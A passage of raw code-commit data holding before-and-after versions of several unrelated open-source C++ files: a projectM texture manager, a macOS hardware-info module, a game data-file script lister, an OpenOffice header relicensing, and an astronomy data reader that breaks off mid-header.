SOIL_CREATE_NEW_ID,\n\n\t\t\t\t\t    \/\/SOIL_FLAG_POWER_OF_TWO\n\t\t\t\t\t  \/\/  SOIL_FLAG_MIPMAPS\n\t\t\t\t\t    SOIL_FLAG_MULTIPLY_ALPHA\n\t\t\t\t\t \n\t\t\t\t\t  \/\/| SOIL_FLAG_DDS_LOAD_DIRECT\n\t\t\t\t\t  ,&width,&height);\n\n#endif\n       textures[filename]=tex;\n       widths[filename]=width;\n       heights[filename]=height;\n       return tex;\n\n\n     }\n}\n\nint TextureManager::getTextureWidth(const std::string imageURL)\n{\n\treturn widths[imageURL];\n}\n\nint TextureManager::getTextureHeight(const std::string imageURL)\n{\n\treturn heights[imageURL];\n}\n\nunsigned int TextureManager::getTextureMemorySize()\n{\n  return 0;\n}\n\nvoid TextureManager::loadTextureDir()\n{\n\tstd::string dirname = CMAKE_INSTALL_PREFIX \"\/share\/projectM\/textures\";\n\n\t  DIR * m_dir;\n\n\t \/\/ Allocate a new a stream given the current directory name\n\t  if ((m_dir = opendir(dirname.c_str())) == NULL)\n\t  {\n\t    std::cout<<\"No Textures Loaded from \"<<dirname<<std::endl;\n\t    return; \/\/ no files loaded. m_entries is empty\n\t  }\n\n\t  struct dirent * dir_entry;\n\n\t  while ((dir_entry = readdir(m_dir)) != NULL)\n\t  {\n\n\t    \/\/ Convert char * to friendly string\n\t    std::string filename(dir_entry->d_name);\n\n\t    if (filename.length() > 0 && filename[0] == '.')\n\t\tcontinue;\n\n\t    \/\/ Create full path name\n\t    std::string fullname = dirname + PATH_SEPARATOR + filename;\n\n\t    unsigned int texId = getTextureFullpath(filename, fullname);\n\t    if(texId != 0)\n\t    {\n\t    \tuser_textures.push_back(texId);\n\t    \ttextures[filename]=texId;\n\t    \tuser_texture_names.push_back(filename);\n\t    }\n\t  }\n\n\t  if (m_dir)\n\t    {\n\t      closedir(m_dir);\n\t      m_dir = 0;\n\t    }\n\n}\n\nstd::string TextureManager::getRandomTextureName(std::string random_id)\n{\n\tif (user_texture_names.size() > 0)\n\t{\n\t\tstd::string random_name = user_texture_names[rand() % user_texture_names.size()];\n\t\trandom_textures.push_back(random_id);\n\t\ttextures[random_id] = textures[random_name];\n\t\treturn random_name;\n\t}\n\telse return \"\";\n}\n\nvoid TextureManager::clearRandomTextures()\n{\n\tfor (std::vector<std::string>::iterator pos = random_textures.begin(); pos\t!= random_textures.end(); ++pos)\n\t\t\t\t{\n\t\t\t\t\ttextures.erase(*pos);\n\t\t\t\t\twidths.erase(*pos);\n\t\t\t\t\theights.erase(*pos);\n\t\t\t\t}\n\trandom_textures.clear();\n\n}\n<|endoftext|>"}
{"text":"<commit_before>#include <coffee\/core\/plat\/environment\/osx\/sysinfo.h>\n\n#include <sys\/sysctl.h>\n#include <sys\/types.h>\n\nnamespace Coffee {\nnamespace Environment {\nnamespace Mac {\n\n\/*\n * OS X has a sexy API for retrieving hardware information. Big thumbs up!\n *\/\n\nstatic CString _GetSysctlString(const cstring mod_string)\n{\n    CString target;\n\n    size_t len = 0;\n    sysctlbyname(mod_string, nullptr, &len, nullptr, 0);\n\n    if(len > 0)\n    {\n        target.resize(len + 1);\n        sysctlbyname(mod_string, &target[0], &len, nullptr, 0);\n        target.resize(str::find(&target[0], '\\0') - &target[0]);\n    }\n\n    return target;\n}\n\nstatic uint64 _GetSysctlInt(const cstring mod_string)\n{\n    uint64 temp = 0;\n    size_t len  = sizeof(temp);\n    sysctlbyname(mod_string, &temp, &len, nullptr, 0);\n    return temp;\n}\n\nCString MacSysInfo::GetSystemVersion()\n{\n    FILE* out = popen(\"sw_vers -productVersion\", \"r\");\n    if(out)\n    {\n        char  buf[16];\n        char* ptr = fgets(buf, sizeof(buf), out);\n        pclose(out);\n        if(ptr)\n        {\n            CString output = ptr;\n            output.resize(str::find((cstring)ptr, '\\n') - ptr);\n            return output;\n        }\n    }\n    return \"0.0\";\n}\n\nHWDeviceInfo MacSysInfo::DeviceName()\n{\n    static const cstring mod_string = \"hw.model\";\n    static const cstring typ_string = \"kern.ostype\";\n    static const cstring rel_string = \"kern.osrelease\";\n\n    CString target = _GetSysctlString(mod_string);\n    CString kern   = _GetSysctlString(typ_string);\n    ;\n    CString osrel = _GetSysctlString(rel_string);\n    ;\n\n    return HWDeviceInfo(\"Apple\", target, kern + \" \" + osrel);\n}\n\nHWDeviceInfo MacSysInfo::Processor()\n{\n    static const cstring ven_string = \"machdep.cpu.vendor\";\n    static const cstring brd_string = \"machdep.cpu.brand_string\";\n    static const cstring mcc_string = \"machdep.cpu.microcode_version\";\n\n    CString vendor    = _GetSysctlString(ven_string);\n    CString brand     = _GetSysctlString(brd_string);\n    uint64  microcode = _GetSysctlInt(mcc_string);\n\n    return HWDeviceInfo(\n        vendor, brand, str::print::hexify(microcode & 0xFFFF, true));\n}\n\nbigscalar MacSysInfo::ProcessorFrequency()\n{\n    static const cstring frq_string = \"machdep.tsc.frequency\";\n    \/\/            \"hw.cpufrequency\"\n\n    uint64 freq_i = _GetSysctlInt(frq_string);\n\n    return freq_i \/ (1000. * 1000. * 1000.);\n}\n\nCoreCnt MacSysInfo::CpuCount()\n{\n    static const cstring cpu_string = \"hw.packages\";\n\n    uint64 c = _GetSysctlInt(cpu_string);\n\n    return C_FCAST<CoreCnt>(c);\n}\n\nCoreCnt MacSysInfo::CoreCount()\n{\n    static const cstring cre_string = \"machdep.cpu.core_count\";\n\n    uint64 c = _GetSysctlInt(cre_string);\n\n    return C_FCAST<CoreCnt>(c);\n}\n\nMemUnit MacSysInfo::MemTotal()\n{\n    static const cstring mtl_string = \"hw.memsize\";\n\n    uint64 c = _GetSysctlInt(mtl_string);\n\n    return C_FCAST<MemUnit>(c);\n}\n\nMemUnit MacSysInfo::MemAvailable()\n{\n    static const cstring mav_string = \"hw.usermem\";\n\n    uint64 c = _GetSysctlInt(mav_string);\n\n    return MemTotal() - c;\n}\n\nbool MacSysInfo::HasFPU()\n{\n    static const cstring fpu_string = \"hw.optional.floatingpoint\";\n\n    uint64 c = _GetSysctlInt(fpu_string);\n\n    return c;\n}\n\nbool MacSysInfo::HasHyperThreading()\n{\n    static const cstring thd_string = \"machdep.cpu.thread_count\";\n    uint64               thr_count  = _GetSysctlInt(thd_string);\n\n    return thr_count != CoreCount();\n}\n\n} \/\/ namespace Mac\n} \/\/ namespace Environment\n} \/\/ namespace Coffee\n<commit_msg> - Fix use of hexify() for OSX<commit_after>#include <coffee\/core\/plat\/environment\/osx\/sysinfo.h>\n\n#include <sys\/sysctl.h>\n#include <sys\/types.h>\n\nnamespace Coffee {\nnamespace Environment {\nnamespace Mac {\n\n\/*\n * OS X has a sexy API for retrieving hardware information. Big thumbs up!\n *\/\n\nstatic CString _GetSysctlString(const cstring mod_string)\n{\n    CString target;\n\n    size_t len = 0;\n    sysctlbyname(mod_string, nullptr, &len, nullptr, 0);\n\n    if(len > 0)\n    {\n        target.resize(len + 1);\n        sysctlbyname(mod_string, &target[0], &len, nullptr, 0);\n        target.resize(str::find(&target[0], '\\0') - &target[0]);\n    }\n\n    return target;\n}\n\nstatic uint64 _GetSysctlInt(const cstring mod_string)\n{\n    uint64 temp = 0;\n    size_t len  = sizeof(temp);\n    sysctlbyname(mod_string, &temp, &len, nullptr, 0);\n    return temp;\n}\n\nCString MacSysInfo::GetSystemVersion()\n{\n    FILE* out = popen(\"sw_vers -productVersion\", \"r\");\n    if(out)\n    {\n        char  buf[16];\n        char* ptr = fgets(buf, sizeof(buf), out);\n        pclose(out);\n        if(ptr)\n        {\n            CString output = ptr;\n            output.resize(str::find((cstring)ptr, '\\n') - ptr);\n            return output;\n        }\n    }\n    return \"0.0\";\n}\n\nHWDeviceInfo MacSysInfo::DeviceName()\n{\n    static const cstring mod_string = \"hw.model\";\n    static const cstring typ_string = \"kern.ostype\";\n    static const cstring rel_string = \"kern.osrelease\";\n\n    CString target = _GetSysctlString(mod_string);\n    CString kern   = _GetSysctlString(typ_string);\n    ;\n    CString osrel = _GetSysctlString(rel_string);\n    ;\n\n    return HWDeviceInfo(\"Apple\", target, kern + \" \" + osrel);\n}\n\nHWDeviceInfo MacSysInfo::Processor()\n{\n    static const cstring ven_string = \"machdep.cpu.vendor\";\n    static const cstring brd_string = \"machdep.cpu.brand_string\";\n    static const cstring mcc_string = \"machdep.cpu.microcode_version\";\n\n    CString vendor    = _GetSysctlString(ven_string);\n    CString brand     = _GetSysctlString(brd_string);\n    uint64  microcode = _GetSysctlInt(mcc_string);\n\n    return HWDeviceInfo(\n        vendor, brand, str::convert::hexify(microcode & 0xFFFF, true));\n}\n\nbigscalar MacSysInfo::ProcessorFrequency()\n{\n    static const cstring frq_string = \"machdep.tsc.frequency\";\n    \/\/            \"hw.cpufrequency\"\n\n    uint64 freq_i = _GetSysctlInt(frq_string);\n\n    return freq_i \/ (1000. * 1000. * 1000.);\n}\n\nCoreCnt MacSysInfo::CpuCount()\n{\n    static const cstring cpu_string = \"hw.packages\";\n\n    uint64 c = _GetSysctlInt(cpu_string);\n\n    return C_FCAST<CoreCnt>(c);\n}\n\nCoreCnt MacSysInfo::CoreCount()\n{\n    static const cstring cre_string = \"machdep.cpu.core_count\";\n\n    uint64 c = _GetSysctlInt(cre_string);\n\n    return C_FCAST<CoreCnt>(c);\n}\n\nMemUnit MacSysInfo::MemTotal()\n{\n    static const cstring mtl_string = \"hw.memsize\";\n\n    uint64 c = _GetSysctlInt(mtl_string);\n\n    return C_FCAST<MemUnit>(c);\n}\n\nMemUnit MacSysInfo::MemAvailable()\n{\n    static const cstring mav_string = \"hw.usermem\";\n\n    uint64 c = _GetSysctlInt(mav_string);\n\n    return MemTotal() - c;\n}\n\nbool MacSysInfo::HasFPU()\n{\n    static const cstring fpu_string = \"hw.optional.floatingpoint\";\n\n    uint64 c = _GetSysctlInt(fpu_string);\n\n    return c;\n}\n\nbool MacSysInfo::HasHyperThreading()\n{\n    static const cstring thd_string = \"machdep.cpu.thread_count\";\n    uint64               thr_count  = _GetSysctlInt(thd_string);\n\n    return thr_count != CoreCount();\n}\n\n} \/\/ namespace Mac\n} \/\/ namespace Environment\n} \/\/ namespace Coffee\n<|endoftext|>"}
{"text":"<commit_before>#include \"esmtools.hpp\"\n\n\/\/----------------------------------------------------------\nEsmTools::EsmTools(const std::string &path)\n{\n    esm.readFile(path);\n}\n\n\/\/----------------------------------------------------------\nstd::string EsmTools::dumpFile()\n{\n    std::string dump;\n    if(esm.getStatus() == true)\n    {\n        for(size_t i = 0; i < esm.getRecordColl().size(); ++i)\n        {\n            size_t cur_pos = 16;\n            size_t cur_size = 0;\n            std::string cur_id;\n            std::string cur_text;\n            std::string rec;\n\n            esm.setRecordTo(i);\n            rec = esm.getRecordContent();\n            dump += esm.getRecordId() + \"\\r\\n\";\n            while(cur_pos != rec.size())\n            {\n                cur_id = rec.substr(cur_pos, 4);\n                cur_size = tools.convertStringByteArrayToUInt(rec.substr(cur_pos + 4, 4));\n                cur_text = rec.substr(cur_pos + 8, cur_size);\n                cur_text = tools.replaceNonReadableCharsWithDot(cur_text);\n                dump += \"    \" + cur_id + \" \" + std::to_string(cur_size) + \" \" + cur_text + \"\\r\\n\";\n                cur_pos += 8 + cur_size;\n            }\n        }\n    }\n    return dump;\n}\n\n\/\/----------------------------------------------------------\nstd::string EsmTools::makeScriptList()\n{\n    std::string scripts;\n    if(esm.getStatus() == true)\n    {\n        for(size_t i = 0; i < esm.getRecordColl().size(); ++i)\n        {\n            esm.setRecordTo(i);\n            if(esm.getRecordId() == \"INFO\")\n            {\n                esm.setUniqueTo(\"INAM\");\n                scripts += esm.getUniqueText() + \"\\r\\n\";\n                scripts += \"---\\r\\n\";\n                esm.setFirstFriendlyTo(\"BNAM\");\n                scripts += esm.getFriendlyText() + \"\\r\\n\";\n                scripts += \"---\\r\\n\";\n            }\n            if(esm.getRecordId() == \"SCPT\")\n            {\n                esm.setUniqueTo(\"SCHD\");\n                scripts += esm.getUniqueText() + \"\\r\\n\";\n                scripts += \"---\\r\\n\";\n                esm.setFirstFriendlyTo(\"SCTX\");\n                scripts += esm.getFriendlyText() + \"\\r\\n\";\n                scripts += \"---\\r\\n\";\n                esm.setFirstFriendlyTo(\"SCDT\", false);\n                scripts += tools.replaceNonReadableCharsWithDot(esm.getFriendlyText()) + \"\\r\\n\";\n                scripts += \"---\\r\\n\";\n            }\n        }\n    }\n    return scripts;\n}\n<commit_msg>improve script list creator<commit_after>#include \"esmtools.hpp\"\n\n\/\/----------------------------------------------------------\nEsmTools::EsmTools(const std::string &path)\n{\n    esm.readFile(path);\n}\n\n\/\/----------------------------------------------------------\nstd::string EsmTools::dumpFile()\n{\n    std::string dump;\n    if(esm.getStatus() == true)\n    {\n        for(size_t i = 0; i < esm.getRecordColl().size(); ++i)\n        {\n            size_t cur_pos = 16;\n            size_t cur_size = 0;\n            std::string cur_id;\n            std::string cur_text;\n            std::string rec;\n\n            esm.setRecordTo(i);\n            rec = esm.getRecordContent();\n            dump += esm.getRecordId() + \"\\r\\n\";\n            while(cur_pos != rec.size())\n            {\n                cur_id = rec.substr(cur_pos, 4);\n                cur_size = tools.convertStringByteArrayToUInt(rec.substr(cur_pos + 4, 4));\n                cur_text = rec.substr(cur_pos + 8, cur_size);\n                cur_text = tools.replaceNonReadableCharsWithDot(cur_text);\n                dump += \"    \" + cur_id + \" \" + std::to_string(cur_size) + \" \" + cur_text + \"\\r\\n\";\n                cur_pos += 8 + cur_size;\n            }\n        }\n    }\n    return dump;\n}\n\n\/\/----------------------------------------------------------\nstd::string EsmTools::makeScriptList()\n{\n    std::string scripts;\n    std::string compiled;\n    std::map<std::string, std::pair<std::string, std::string>> scripts_coll;\n    if(esm.getStatus() == true)\n    {\n        for(size_t i = 0; i < esm.getRecordColl().size(); ++i)\n        {\n            esm.setRecordTo(i);\n            if(esm.getRecordId() == \"INFO\")\n            {\n                esm.setUniqueTo(\"INAM\");\n                esm.setFirstFriendlyTo(\"BNAM\");\n                scripts_coll.insert({esm.getUniqueText(), make_pair(esm.getFriendlyText(), \"\")});\n            }\n            if(esm.getRecordId() == \"SCPT\")\n            {\n                esm.setUniqueTo(\"SCHD\");\n                esm.setFirstFriendlyTo(\"SCDT\", false);\n                compiled = tools.replaceNonReadableCharsWithDot(esm.getFriendlyText());\n                esm.setFirstFriendlyTo(\"SCTX\");\n                scripts_coll.insert({esm.getUniqueText(), make_pair(esm.getFriendlyText(), compiled)});\n            }\n        }\n    }\n    for(auto const &elem : scripts_coll)\n    {\n        scripts += elem.first + \"\\r\\n---\\r\\n\";\n        scripts += elem.second.first + \"\\r\\n---\\r\\n\";\n        scripts += elem.second.second + \"\\r\\n---\\r\\n\";\n    }\n    return scripts;\n}\n<|endoftext|>"}
{"text":"<commit_before>\/*************************************************************************\n *\n *  OpenOffice.org - a multi-platform office productivity suite\n *\n *  $RCSfile: evtlistenerhlp.hxx,v $\n *\n *  $Revision: 1.4 $\n *\n *  last change: $Author: rt $ $Date: 2005-09-08 02:30:41 $\n *\n *  The Contents of this file are made available subject to\n *  the terms of GNU Lesser General Public License Version 2.1.\n *\n *\n *    GNU Lesser General Public License Version 2.1\n *    =============================================\n *    Copyright 2005 by Sun Microsystems, Inc.\n *    901 San Antonio Road, Palo Alto, CA 94303, USA\n *\n *    This library is free software; you can redistribute it and\/or\n *    modify it under the terms of the GNU Lesser General Public\n *    License version 2.1, as published by the Free Software Foundation.\n *\n *    This library is distributed in the hope that it will be useful,\n *    but WITHOUT ANY WARRANTY; without even the implied warranty of\n *    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU\n *    Lesser General Public License for more details.\n *\n *    You should have received a copy of the GNU Lesser General Public\n *    License along with this library; if not, write to the Free Software\n *    Foundation, Inc., 59 Temple Place, Suite 330, Boston,\n *    MA  02111-1307  USA\n *\n ************************************************************************\/\n#ifndef COMPHELPER_EVENTLISTENERHELPER_HXX\n#define COMPHELPER_EVENTLISTENERHELPER_HXX\n\n#ifndef _CPPUHELPER_IMPLBASE1_HXX_\n#include <cppuhelper\/implbase1.hxx>\n#endif\n#ifndef _COM_SUN_STAR_LANG_XEVENTLISTENER_HPP_\n#include <com\/sun\/star\/lang\/XEventListener.hpp>\n#endif\n#ifndef _OSL_DIAGNOSE_H_\n#include <osl\/diagnose.h>\n#endif\n#ifndef _CPPUHELPER_WEAKREF_HXX_\n#include <cppuhelper\/weakref.hxx>\n#endif\n\n#ifndef INCLUDED_COMPHELPERDLLAPI_H\n#include \"comphelper\/comphelperdllapi.h\"\n#endif\n\n\/\/........................................................................\nnamespace comphelper\n{\n\/\/........................................................................\n\n    \/\/==========================================================================\n    \/\/= OCommandsListener\n    \/\/ is helper class to avoid a cycle in refcount between the XEventListener\n    \/\/ and the member XEventBroadcaster\n    \/\/==========================================================================\n    class COMPHELPER_DLLPUBLIC OEventListenerHelper : public ::cppu::WeakImplHelper1< ::com::sun::star::lang::XEventListener >\n    {\n        ::com::sun::star::uno::WeakReference< ::com::sun::star::lang::XEventListener> m_xListener;\n    public:\n        OEventListenerHelper(const ::com::sun::star::uno::Reference< ::com::sun::star::lang::XEventListener>& _rxListener);\n        virtual void SAL_CALL disposing( const ::com::sun::star::lang::EventObject& Source ) throw(::com::sun::star::uno::RuntimeException);\n    };\n\/\/........................................................................\n}   \/\/ namespace comphelper\n\/\/........................................................................\n#endif \/\/ COMPHELPER_EVENTLISTENERHELPER_HXX\n<commit_msg>INTEGRATION: CWS changefileheader (1.4.246); FILE MERGED 2008\/04\/01 15:05:20 thb 1.4.246.3: #i85898# Stripping all external header guards 2008\/04\/01 12:26:24 thb 1.4.246.2: #i85898# Stripping all external header guards 2008\/03\/31 12:19:28 rt 1.4.246.1: #i87441# Change license header to LPGL v3.<commit_after>\/*************************************************************************\n *\n * DO NOT ALTER OR REMOVE COPYRIGHT NOTICES OR THIS FILE HEADER.\n *\n * Copyright 2008 by Sun Microsystems, Inc.\n *\n * OpenOffice.org - a multi-platform office productivity suite\n *\n * $RCSfile: evtlistenerhlp.hxx,v $\n * $Revision: 1.5 $\n *\n * This file is part of OpenOffice.org.\n *\n * OpenOffice.org is free software: you can redistribute it and\/or modify\n * it under the terms of the GNU Lesser General Public License version 3\n * only, as published by the Free Software Foundation.\n *\n * OpenOffice.org is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n * GNU Lesser General Public License version 3 for more details\n * (a copy is included in the LICENSE file that accompanied this code).\n *\n * You should have received a copy of the GNU Lesser General Public License\n * version 3 along with OpenOffice.org.  If not, see\n * <http:\/\/www.openoffice.org\/license.html>\n * for a copy of the LGPLv3 License.\n *\n ************************************************************************\/\n#ifndef COMPHELPER_EVENTLISTENERHELPER_HXX\n#define COMPHELPER_EVENTLISTENERHELPER_HXX\n\n#include <cppuhelper\/implbase1.hxx>\n#include <com\/sun\/star\/lang\/XEventListener.hpp>\n#include <osl\/diagnose.h>\n#include <cppuhelper\/weakref.hxx>\n#include \"comphelper\/comphelperdllapi.h\"\n\n\/\/........................................................................\nnamespace comphelper\n{\n\/\/........................................................................\n\n    \/\/==========================================================================\n    \/\/= OCommandsListener\n    \/\/ is helper class to avoid a cycle in refcount between the XEventListener\n    \/\/ and the member XEventBroadcaster\n    \/\/==========================================================================\n    class COMPHELPER_DLLPUBLIC OEventListenerHelper : public ::cppu::WeakImplHelper1< ::com::sun::star::lang::XEventListener >\n    {\n        ::com::sun::star::uno::WeakReference< ::com::sun::star::lang::XEventListener> m_xListener;\n    public:\n        OEventListenerHelper(const ::com::sun::star::uno::Reference< ::com::sun::star::lang::XEventListener>& _rxListener);\n        virtual void SAL_CALL disposing( const ::com::sun::star::lang::EventObject& Source ) throw(::com::sun::star::uno::RuntimeException);\n    };\n\/\/........................................................................\n}   \/\/ namespace comphelper\n\/\/........................................................................\n#endif \/\/ COMPHELPER_EVENTLISTENERHELPER_HXX\n<|endoftext|>"}
{"text":"<commit_before>\/*\n * Copyright (C) 2012\n * Alessio Sclocco <a.sclocco@vu.nl>\n *\n * This program is free software: you can redistribute it and\/or modify\n * it under the terms of the GNU General Public License as published by\n * the Free Software Foundation, either version 3 of the License, or\n * (at your option) any later version.\n *\n * This program is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n * GNU General Public License for more details.\n *\n * You should have received a copy of the GNU General Public License\n * along with this program.  If not, see <http:\/\/www.gnu.org\/licenses\/>.\n *\n *\/\n\n#include <fstream>\n#include <vector>\n#include <string>\n#include <cmath>\n#include <H5Cpp.h>\nusing std::ios;\nusing std::string;\nusing std::ifstream;\nusing std::vector;\nusing std::sqrt;\nusing H5::H5File;\nusing H5::Group;\nusing H5::DataSet;\nusing H5::FloatType;\nusing H5::IntType;\n\n#include <Observation.hpp>\n#include <GPUData.hpp>\n#include <utils.hpp>\nusing isa::OpenCL::GPUData;\nusing isa::utils::toStringValue;\nusing isa::utils::changeEndianness;\n\n\n#ifndef READ_DATA_HPP\n#define READ_DATA_HPP\n\nnamespace AstroData {\n\ntemplate< typename T > void readSIGPROC(Observation< T > &observation, unsigned int bytestoSkip, string inputFilename, vector< GPUData< T > * > &data, unsigned int firstSecond = 0);\ntemplate< typename T > void readLOFAR(string headerFilename, string rawFilename, Observation< T > &observation, vector< GPUData< T > * > &data, unsigned int nrSeconds = 1, unsigned int firstSecond = 0);\n\n\n\/\/ Implementation\n\ntemplate< typename T > void readSIGPROC(Observation< T > &observation, unsigned int bytesToSkip, string inputFilename, vector< GPUData< T > * > &data, unsigned int firstSecond) {\n\tifstream inputFile;\n\tconst unsigned int BUFFER_DIM = 4;\n\tchar *buffer = new char [BUFFER_DIM];\n\n\tinputFile.open(inputFilename.c_str());\n\tinputFile.sync_with_stdio(false);\n\tinputFile.ignore(bytesToSkip);\n\tinputFile.seekg(firstSecond * observation.getNrChannels() * observation.getNrSamplesPerSecond(), ios::beg);\n\tfor ( unsigned int second = 0; second < observation.getNrSeconds(); second++ ) {\n\t\tdata.at(second) = new GPUData< T >(\"second\" + toStringValue< unsigned int >(second), true, true);\n\t\t(data.at(second))->allocateHostData(observation.getNrSamplesPerPaddedSecond() * observation.getNrChannels());\n\t\t\n\t\tfor ( unsigned int sample = 0; sample < observation.getNrSamplesPerSecond(); sample++ ) {\n\t\t\tfor ( unsigned int channel = observation.getNrChannels(); channel > 0; channel-- ) {\n\t\t\t\tinputFile.read(buffer, BUFFER_DIM);\n\t\t\t\t((data.at(second))->getHostData())[((channel - 1) * observation.getNrSamplesPerPaddedSecond()) + sample] = *(reinterpret_cast< T * >(buffer));\n\t\t\t}\n\t\t}\n\t}\n\tinputFile.close();\n\n\tdelete [] buffer;\n}\n\n\ntemplate< typename T > void readLOFAR(string headerFilename, string rawFilename, Observation< T > &observation, vector< GPUData< T > * > &data, unsigned int nrSeconds, unsigned int firstSecond) {\n\tunsigned int totalSamples = 0;\n\tunsigned int nrSubbands = 0;\n\tunsigned int nrChannels = 0;\n\tchar *word = new char[4];\n\tdouble totalIntegrationTime = 0.0;\n\n\t\/\/ Read the HDF5 file with the metadata\n\tH5File headerFile = H5File(headerFilename, H5F_ACC_RDONLY);\n\tFloatType typeDouble = FloatType(H5::PredType::NATIVE_DOUBLE);\n\tdouble valueDouble = 0.0;\n\tIntType typeUInt = IntType(H5::PredType::NATIVE_UINT);\n\tunsigned int valueUInt = 0;\n\n\tGroup currentNode = headerFile.openGroup(\"\/\");\n\tcurrentNode.openAttribute(\"OBSERVATION_FREQUENCY_MAX\").read(typeDouble, reinterpret_cast< void * >(&valueDouble));\n\tobservation.setMaxFreq(valueDouble);\n\tcurrentNode.openAttribute(\"OBSERVATION_FREQUENCY_MIN\").read(typeDouble, reinterpret_cast< void * >(&valueDouble));\n\tobservation.setMinFreq(valueDouble);\n\tcurrentNode = currentNode.openGroup(currentNode.getObjnameByIdx(0));\n\tcurrentNode.openAttribute(\"TOTAL_INTEGRATION_TIME\").read(typeDouble, reinterpret_cast< void * >(&valueDouble));\n\ttotalIntegrationTime = valueDouble;\n\tcurrentNode.openAttribute(\"NOF_BEAMS\").read(typeUInt, reinterpret_cast< void * >(&valueUInt));\n\tobservation.setNrBeams(valueUInt);\n\tcurrentNode = currentNode.openGroup(currentNode.getObjnameByIdx(0));\n\tcurrentNode.openAttribute(\"NOF_SAMPLES\").read(typeUInt, reinterpret_cast< void * >(&valueUInt));\n\ttotalSamples = valueUInt;\n\tcurrentNode.openAttribute(\"NOF_STATIONS\").read(typeUInt, reinterpret_cast< void * >(&valueUInt));\n\tobservation.setNrStations(valueUInt);\n\tcurrentNode.openAttribute(\"CHANNELS_PER_SUBBAND\").read(typeUInt, reinterpret_cast< void * >(&valueUInt));\n\tnrChannels = valueUInt;\n\tcurrentNode.openAttribute(\"CHANNEL_WIDTH\").read(typeDouble, reinterpret_cast< void * >(&valueDouble));\n\tobservation.setChannelBandwidth(valueDouble \/ 1000000);\n\tDataSet currentData = currentNode.openDataSet(\"STOKES_0\");\n\tcurrentData.openAttribute(\"NOF_SUBBANDS\").read(typeUInt, reinterpret_cast< void * >(&valueUInt));\n\tnrSubbands = valueUInt;\n\theaderFile.close();\n\t\n\tobservation.setNrSamplesPerSecond(static_cast< unsigned int >(totalSamples \/ totalIntegrationTime));\n\tif ( static_cast< unsigned int >(totalIntegrationTime) >= (firstSecond + nrSeconds) ) {\n\t\tobservation.setNrSeconds(nrSeconds);\n\t}\n\telse {\n\t\tobservation.setNrSeconds(static_cast< unsigned int >(totalIntegrationTime) - firstSecond);\n\t}\n\tif ( (observation.getNrSamplesPerSecond() % observation.getPadding()) != 0 ) {\n\t\tobservation.setNrSamplesPerPaddedSecond(observation.getNrSamplesPerSecond() + (observation.getPadding() - (observation.getNrSamplesPerSecond() % observation.getPadding())));\n\t}\n\telse {\n\t\tobservation.setNrSamplesPerPaddedSecond(observation.getNrSamplesPerSecond());\n\t}\n\tobservation.setNrChannels(nrChannels * nrSubbands);\n\tif ( (observation.getNrChannels() % observation.getPadding()) != 0 ) {\n\t\tobservation.setNrPaddedChannels(observation.getNrChannels() + (observation.getPadding() - (observation.getNrChannels() % observation.getPadding())));\n\t}\n\telse {\n\t\tobservation.setNrPaddedChannels(observation.getNrChannels());\n\t}\n\t\t\n\t\/\/ Read the raw file with the actual data\n\tifstream rawFile;\n\trawFile.open(rawFilename.c_str(), ios::binary);\n\trawFile.sync_with_stdio(false);\n\trawFile.seekg(firstSecond * observation.getNrSamplesPerSecond() * nrSubbands * nrChannels, ios::beg);\n\t\t\n\tdata.resize(observation.getNrSeconds());\n\t\n\tdouble *aOld = new double [nrSubbands * nrChannels];\n\tdouble *vOld = new double [nrSubbands * nrChannels];\n\n\tfor ( unsigned int second = 0; second < observation.getNrSeconds(); second++ ) {\n\t\tdata.at(second) = new GPUData< T >(\"second\" + toStringValue< unsigned int >(second), true, true);\n\t\t(data.at(second))->allocateHostData(observation.getNrChannels() * observation.getNrSamplesPerPaddedSecond());\n\t\tfor ( unsigned int sample = 0; sample < observation.getNrSamplesPerSecond(); sample++ ) {\n\t\t\tfor ( unsigned int subband = 0; subband < nrSubbands; subband++ ) {\n\t\t\t\tfor ( unsigned int channel = 0; channel < nrChannels; channel++ ) {\n\t\t\t\t\tlong long unsigned int element = (second * observation.getNrSamplesPerSecond()) + sample;\n\t\t\t\t\tT value = 0;\n\n\t\t\t\t\trawFile.read(word, 4);\n\t\t\t\t\tchangeEndianness(word);\n\t\t\t\t\tvalue = *(reinterpret_cast< T * >(word));\n\n\t\t\t\t\t((data.at(second))->getHostData())[(((subband * nrChannels) + channel) * observation.getNrSamplesPerPaddedSecond()) + sample] = value;\n\t\t\t\t\tif ( value <  observation.getMinValue() ) {\n\t\t\t\t\t\tobservation.setMinValue(value);\n\t\t\t\t\t}\n\t\t\t\t\tif ( value > observation.getMaxValue() ) {\n\t\t\t\t\t\tobservation.setMaxValue(value);\n\t\t\t\t\t}\n\n\t\t\t\t\tif ( element == 0 ) {\n\t\t\t\t\t\tobservation.setAverage((subband * nrChannels) + channel, value);\n\t\t\t\t\t\tobservation.setVariance((subband * nrChannels) + channel, 0.0);\n\t\t\t\t\t}\n\t\t\t\t\telse {\n\t\t\t\t\t\taOld[(subband * nrChannels) + channel] = observation.getAverage((subband * nrChannels) + channel);\n\t\t\t\t\t\tvOld[(subband * nrChannels) + channel] = observation.getVariance((subband * nrChannels) + channel);\n\n\t\t\t\t\t\tobservation.setAverage((subband * nrChannels) + channel, aOld[(subband * nrChannels) + channel] + ((value - aOld[(subband * nrChannels) + channel]) \/ (element + 1)));\n\t\t\t\t\t\tobservation.setVariance((subband * nrChannels) + channel, vOld[(subband * nrChannels) + channel] + ((value - aOld[(subband * nrChannels) + channel]) * (value - observation.getAverage((subband * nrChannels) + channel))));\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t}\n\trawFile.close();\n\n\tfor ( unsigned int channel = 0; channel < observation.getNrChannels(); channel++ ) {\n\t\tobservation.setVariance(channel, observation.getVariance(channel) \/ (observation.getNrSeconds() * observation.getNrSamplesPerSecond()));\n\t\tobservation.setStdDev(channel, sqrt(observation.getVariance(channel)));\n\t}\n\n\tdelete [] word;\n\tdelete [] aOld;\n\tdelete [] vOld;\n}\n\n} \/\/ AstroData\n\n#endif \/\/ READ_DATA_HPP\n\n<commit_msg>No need to manually pad anymore.<commit_after>\/*\n * Copyright (C) 2012\n * Alessio Sclocco <a.sclocco@vu.nl>\n *\n * This program is free software: you can redistribute it and\/or modify\n * it under the terms of the GNU General Public License as published by\n * the Free Software Foundation, either version 3 of the 